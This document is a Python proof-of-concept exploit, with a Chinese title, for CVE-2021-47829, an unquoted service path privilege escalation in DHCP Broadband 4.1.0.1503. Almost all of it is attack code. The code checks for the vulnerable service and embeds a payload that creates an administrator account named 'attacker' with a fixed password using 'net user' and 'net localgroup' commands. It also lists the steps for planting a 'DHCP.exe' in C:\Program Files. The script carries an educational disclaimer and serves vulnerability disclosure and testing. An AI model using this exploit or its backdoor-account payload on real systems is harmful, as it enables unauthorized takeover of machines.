CVE-2021-47829 DHCP Broadband 未加引号服务路径本地提权漏洞

#!/usr/bin/env python3 """ CVE-2021-47829 PoC - DHCP Broadband Unquoted Service Path Privilege Escalation This script demonstrates the unquoted service path vulnerability in DHCP Broadband 4.1.0.1503 Note: This PoC is for educational and authorized testing purposes only. """ import os import sys import ctypes import shutil def is_admin(): """Check if the script is running with administrator privileges.""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def check_vulnerable_service(): """Check if the vulnerable DHCP Broadband service exists.""" service_path = r'C:\Program Files\DHCP Broadband 4\dhcpt.exe' return os.path.exists(service_path) def create_malicious_executable(): """ Create a malicious executable that will be placed in the unquoted path. This example creates a simple reverse shell or adds an admin user. """ malicious_code = ''' import os import sys import subprocess # Create a new administrator user for demonstration # In real attack, this would be a reverse shell or other malicious payload try: # Add new admin user (for educational purposes only) subprocess.run(['net', 'user', 'attacker', 'P@ssw0rd123', '/add'], capture_output=True) subprocess.run(['net', 'localgroup', 'Administrators', 'attacker', '/add'], capture_output=True) print("[+] Malicious code executed with LocalSystem privileges") except Exception as e: print(f"[-] Error: {e}") ''' # In a real scenario, this would be compiled to an executable # For demonstration, we show the concept print("[*] Malicious executable concept created") return malicious_code def exploit(): """Main exploitation function.""" print("[*] CVE-2021-47829 - DHCP Broadband Unquoted Service Path Exploit") print("[*] Target: C:\\Program Files\\DHCP Broadband 4\\dhcpt.exe") if not is_admin(): print("[-] This exploit requires administrator privileges for service enumeration") print("[*] However, the actual exploitation only requires write access to Program Files") if not check_vulnerable_service(): print("[-] Vulnerable service not found. Target may not be affected.") return False print("[+] Vulnerable service detected!") print("[*] Attack vector:") print(" 1. Create malicious executable named 'DHCP.exe'") print(" 2. Place it in 'C:\\Program Files\\'") print(" 3. Wait for service restart or system reboot") print(" 4. Malicious code executes with LocalSystem privileges") # Demonstrate the concept (actual file creation would be malicious) create_malicious_executable() return True if __name__ == "__main__": exploit()